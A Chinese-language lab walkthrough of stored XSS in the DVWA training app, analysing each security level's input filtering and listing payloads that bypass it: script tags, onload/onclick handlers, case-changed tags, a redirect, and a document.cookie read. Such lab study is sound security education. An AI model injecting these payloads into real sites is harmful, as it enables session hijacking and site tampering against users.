DVWA-存储型XSS漏洞

(一)将DVWA的级别设置为low
1.分析源码,可以看到首先对两个参数使用trim函数过滤掉两边的空格,然后message:mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符, stripslashes函数过滤掉”\”;
对name参数中使用mysql_real_escape_string函数转义SQL语句中的特殊字符,trim函数去除字符串的头尾空格:
DVWA-存储型XSS漏洞
2.不防御XSS漏洞,只防御了SQL注入漏洞
尝试一般的XSS攻击
在message栏中测试:
<script>alert('07')</script>
DVWA-存储型XSS漏洞
<body onload=alert('007')>
<a href=http://www.baidu.com>click</a>
DVWA-存储型XSS漏洞
<a href='' onclick=alert('xss')>click</a>
⑤重定向:
<script>window.location='http://www.163.com'</script>
Message被限制长度,打开开发者工具将长度加个0
DVWA-存储型XSS漏洞
DVWA-存储型XSS漏洞
⑥获取cookie:<script>alert(document.cookie)</script>
DVWA-存储型XSS漏洞
(二)将DVWA的级别设置为Medium
1.分析源代码
对于message:
strip_tags过滤字符串中的HTML,XML,PHP 的标签,注释等也会被过滤
addslashes() 函数添加反斜杠,即将字符转义
mysqli_real_escape_string对sql语句中的特殊字符转义
但是name参数做的过滤不严格,只是替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过

2.绕过DVWA medium级别
<Script>alert('x')</script>
大小写
DVWA-存储型XSS漏洞DVWA-存储型XSS漏洞
<body onload=alert('xss')>
<a href='' onclick=alert('666')>click</a>
(三)将DVWA的级别设置为High
1.分析源码,可以看到相比较中级而言,高级对$nam参数多了对<script>严格的过滤,没有对别的标签做过滤,但可以通过别的html标签来进行绕过
DVWA-存储型XSS漏洞  
2.绕过
<body onload=alert('777')>
DVWA-存储型XSS漏洞
<a href='' onclick=alert('xss')>click</a>
DVWA-存储型XSS漏洞
(四)将DVWA的级别设置为Impossible
1.分析源码可以看到,对两个参数都做了html实体转义,无法利用xss
DVWA-存储型XSS漏洞